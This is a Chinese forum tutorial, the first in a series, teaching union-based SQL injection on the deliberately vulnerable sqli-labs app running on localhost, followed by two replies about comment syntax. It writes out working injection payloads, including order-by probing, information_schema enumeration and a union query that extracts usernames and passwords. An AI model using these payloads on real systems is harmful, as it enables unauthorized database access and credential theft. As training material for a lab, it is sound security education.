用户
搜索
  • TA的每日心情
    开心
    13 小时前
  • 签到天数: 136 天

    连续签到: 136 天

    [LV.7]常住居民III

    i春秋-核心白帽

    Rank: 4

    48

    主题

    103

    帖子

    1691

    魔法币
    收听
    0
    粉丝
    5
    注册时间
    2020-10-2

    积极活跃奖

    本帖最后由 Johnson666 于 2021-7-21 10:13 编辑

    sqli-labs学习sql注入——MySQL注入相关知识点+联合注入篇

    本篇文章作者Johnson666,本篇文章参与i春秋作家连载计划所属Johnson666,未经许可,禁止转载。连载方向:web安全

    目录

    1.sqli-labs学习sql注入——MySQL注入相关知识点+联合注入篇

    2.sqli-labs学习sql注入——GET和POST盲注篇+sql传马篇+增删改注入篇

    3.sqli-labs学习sql注入——绕过篇

    4.sqli-labs学习sql注入——HTTP头部注入篇

    5.sqli-labs学习sql注入——宽字节注入篇

    6.sqli-labs学习sql注入——堆叠注入篇

    7.sqli-labs学习sql注入——排序注入和排序堆叠注入篇

    8.sqli-labs学习sql注入——最后的挑战

    一、搭建sqli-labs的实验环境

    (实验源码在压缩包sqllab或者可以自己去Github上下载,下载地址:https://github.com/Audi-1/sqli-labs

    1、在安装前,需要做一个准备工作,我们要先去做一个PHP+Mysql的环境搭建。这时就需要用到我们的phpstudy了,phpStudy是一个PHP调试环境的程序集成包。恰好我们可以用到"PHP+Mysql+Apache"。之前也有介绍如何安装。

    2、将下载的 SQLi-Labs.zip 解压到phpstudy网站根目录下,即WWW目录下面

    3、修改 db-creds.inc 里代码如下:

    配置文件路径是在sqli-labs\sql-connections下面。

    <?php
    
    //give your mysql connection username n password
    
    $dbuser ='root';
    
    $dbpass ='root';
    
    $dbname ="security";
    
    $host = 'localhost';
    
    $dbname1 = "challenges";

    因为phpstudy默认的mysql数据库地址是“127.0.0.1 或 localhost",用户名和密码都是"root"。主要是修改’$dbpass‘为root,这里很重要,修改后自然是需要保存文件的,这个不用说相信大家也能知道。

    4、浏览器打开“http://127.0.0.1/sqli-labs/”访问首页,并点击“Setup/reset Database”以创建数据库,创建表并填充数据。

    5、现在浏览器打开 "http://127.0.0.1/sqli-labs/"向下翻,就可以看到有很多不同的关卡了。sqli-labs它是只专注SQL注入漏洞的,如果你只想主攻这个SQL注入方向,此平台真的是非常的给力

    二、SQLI的介绍和sqli-labs的学习

    SQLI,sql injection,我们称之为sql注入。何为sql,英文:Structured Query Language,叫做结构化查询语言。常见的结构化数据库有MySQL,MS SQL ,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用sql语句进行管理应用数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险的是,在拼接sql语句的时候,我们可以改变sql语句。从而让数据执行我们想要执行的语句,这就是我们常说的sql注入。

    在开始之前,首先要弄清楚一个东西,就是注入的分类。明白了分类之后,再进行测试时就会起到事半功倍的效果。

    常见的SQL注入类型有:数字型注入和字符型注入。也有人把类型分得更多、更细。但是不管注入的类型如何,攻击者的目的只有一点,那就是绕过程序限制,使用户输入的数据带入数据库中执行,利用数据库来获取更多的信息或者更大的权限。

    我这里用的是phpstudy,所以数据库是MYSQL的。由于以下的环境都是MySQL数据库,所以先了解点MySQL有关的知识:

    1.MySQL相关的知识点

    5.0版本以下是多用户单操作

    5.0版本以上是多用户多操作

    在MySQL5.0以下,没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

    在MySQL5.0以上,MySQL中默认添加了一个名为 information_schema 的数据库,该数据库中的表都 是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

    当尝试删除该数据库时,会爆出以下的错误

    (1)mysql中注释符

    单行注释:#(%23),--<space>--+

    其中--<space>是T-SQL的注释符,而在sql注入中--+中的+并不是注释符的一部分,而是为了当作<space>用防止--后缺省空格导致的语句报错。不过在这里也可以使用作注释符。

    T-SQL 即 Transact-SQL,是 SQL 在 Microsoft SQL Server 上的增强版,它是用来让应用程式与 SQL Server 沟通的主要语言。

    多行注释:/**/

    (2)一般用于尝试的语句

    Ps:--+可以用#替换,url提交过程中Url编码后的#为%23

    or 1=1--+
    'or 1=1--+
    "or 1=1--+
    )or 1=1--+
    ')or 1=1--+
    ") or 1=1--+
    "))or 1=1--+

    一般的代码为:

    $id=$_GET['id'];
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

    此处考虑两个点,一个是闭合前面你的 另一个是处理后面的,一般采用两种思路,闭合后面的引号或者注释掉,注释掉采用--+ 或者 #(%23)

    (3)字符串连接函数

    1. concat(str1,str2,...)——没有分隔符地连接字符串
    2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
    3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

    说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了

    (4)information_schema数据库中三个很重要的表

    information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名

    information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名

    information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名

    Mysql5.0版本以上有一个系统数据库information_schema,它存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程:

    总体思路:

    (5)系统函数

    介绍几个常用函数:

    version()——MySQL版本
    user()——用来显示当前登陆的用户名与它对应的host
    currrent_user()——用来显示当前登陆用户对应在user表中的哪一个
    database()——数据库名
    @@datadir——MySQL数据库data文件的绝对路径
    @@basedir——MySQL数据库安装的绝对路径
    @@version_compile_os——操作系统版本

    其中user()和currrent_user()挺像的,可以看看这篇文章:mysql系统函数user()与current_user()的区别

    (6)sql注入一般的流程

    爆数据库:

    select schema_name from information_schema.schemata

    爆某库的数据表:

    select table_name from information_schema.tables where table_schema=’xxxxx’

    爆某表的所有列:

    select column_name from information_schema.columns where table_name=’xxxxx’

    爆某列的内容:

    select * from

    Page-1(Basic Challenges)

    Less-1:单引号报错注入

    我们可以在http://127.0.0.1/sqli-labs-master/Less-1/?id=1后面直接添加一个’,来看一下效果:

    从上述错误当中,我们可以看到提交到sql中的1’在经过sql语句构造后形成1' LIMIT 0,1,多加了一个’ 。这种方式就是从错误信息中得到我们所需要的信息。

    那我们接下来如何将多余的’去掉呢?

    尝试在后面加上%23,即#(或者也可以加--+)

    这时构造的sql语句就成了这样:

    select  where id='1'#' LIMIT 0,1

    #把后面的都注释掉了,所以就是会产生上图中的效果,正常返回了数据。

    此处可以利用order by。Order by对前面的数据进行排序,这里用二分法发现有三列数据,我们就只能用order by 3,超过3就会报错。

    二分法:

    先取order by 5,发现不行

    然后取一半,取个3,发现正常返回数据

    那就取个4再试试,发现也不行,那就是有三列数据了

    然后判断出此处有三列数据后,就要使用union联合注入了。union的作用是将两个sql语句进行联合。强调一点:union前后的两个sql语句的选择列数要相同才可以。union all与union 的区别是增加了去重的功能。

    http://127.0.0.1/sqllib/Less-1/?id=-1’ union select 1,2,3--+   //判断回显的位置

    当id的数据在数据库中不存在时,(此时我们可以id=-1,两个sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union的数据。

    输入id=-1时,将后面的语句的内容显示出来

    否则输入id=1时,前一个语句选择的内容不为空,就不会将后面的语句的内容显示出来,就像这样:

    这里再具体解释下为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。

    爆数据库:

    http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+

    此时的sql语句为:

    SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

    爆security数据库的数据表:

    http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

    此时的sql语句为:

    SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1

    爆users表的列:

    http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+

    此时的sql语句为:

    SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1;

    如果后面的列看不到可以用burp来

    这里要说一下,属于这个数据库security数据表users的数据列只有id、username和password,可是这里为什么会多出这么多呢?原因是我里面不止这一个数据库,还有别的库里还有也叫users的数据表,他们也有自己的数据列,然后也都列出来了。上面sql语句的意思就是把叫users的数据表的数据列名都给列出来。

    爆数据:

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,username,password from users where id=2--+
    此时的sql语句为:
    SELECT * FROM users WHERE id=’-1’union select 1,username,password from users where id=2--+ LIMIT 0,1

    其中Less1-Less4都可以利用上述union操作进行注入。

    这里讲讲其中的group_concat()函数和concat_ws()函数

    group_concat()函数:返回一个字符串结果,该结果由分组中的值连接组合而成。

    例子:

    没有使用group_concat()函数

    使用了group_concat()函数

    concat_ws()函数:代表 CONCAT With Separator,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。注意:如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。

    就像上面在爆数据的时候如果不使用这个函数,那得一个一个爆,很麻烦;而使用函数的话就可以全部爆出来

    方式1:使用group_concat()函数,这样得一个用户名对一个账号的自己比对,很累

    sql语句:

    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

    方式2:使用group_concat()函数和concat_ws()函数联动,concat_ws()函数的使用语法为:CONCAT_WS(参数之间的分隔符,str1,str2,…)。这样直接帮你把用户名和相对应的密码对应好了

    sql语句:

    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(concat_ws('___',username,password)),3 from users--+

    所以我觉得方式2更好

    拓展:

    select database():查看当前选择(连接)的数据库

    select user():查看数据库用户名

    select version():查看数据库版本

    Less-2:数值型报错注入

    1.判断注入类型

    输入一个'报错,得到了一个Mysql返回的错误,提示我语法错误。

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1′ at line 1

    现在执行的查询语句如下:

    Select * from TABLE where id = 1’ ;

    所以这里的奇数个单引号破坏了查询,导致抛出错误。

    因此我们得出的结果是,查询代码使用了整数。

    Select * from TABLE where id = (some integer value);

    再输入一个"也是依旧报错,说明该题属于数值型注入,可以成功注入的有:

    or 1=1
    or 1=1 --+

    2.通过order by判断列数

    输出3时,页面回显正常;输入4时,页面报错,说明共有3列。

    3.其余的payload与Less-1中一致,这里就不赘述了。

    Less-3:单引号括号注入

    1.判断注入类型

    我们使用?id=',注入代码后,我们得到像这样的一个错误:

    根据报错信息发现是单引号加上括号报错

    加上单引号以及右括号--+,页面回显正常

    还可以成功注入的有:

    ?id=1) or 1=1 --+
    ?id=1') or '1'=('1

    页面都会成功回显Login name和password

    2.其余的payload与less1中一样,只需要将less1中的 添加’)

    Less-4:双引号括号注入

    1.判断注入类型

    输入单引号不报错,输入双引号报错。通过查看报错信息发现该题属于双引号加上括号报错

    加上双引号与括号--+,页面回显正常

    可以成功注入的有:

    ?id=1") or "1"=("1
    ?id=1") or 1=1--+

    2.其余的payload与less1中一致,只需要将less-1中的 更换为 “)

    文章很好很详细,但是有一个问题,在你注明的mysql注释符中
    单行注释:#(%23),--,--+
    ,这里写的有一点问题,--<space>是tsql的注释符,而在sql注入中--+中的+并不是注释符的一部分,而是为了当作<space>用防止--后缺省空格导致的语句报错
    My blog :http://www.e-wolf.top
    使用道具 举报 回复
    Adian大蝈蝈 发表于 2021-7-21 03:16
    文章很好很详细,但是有一个问题,在你注明的mysql注释符中,这里写的有一点问题,--是tsql的注释符,而在s ...

    好的,谢谢师傅提醒!
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册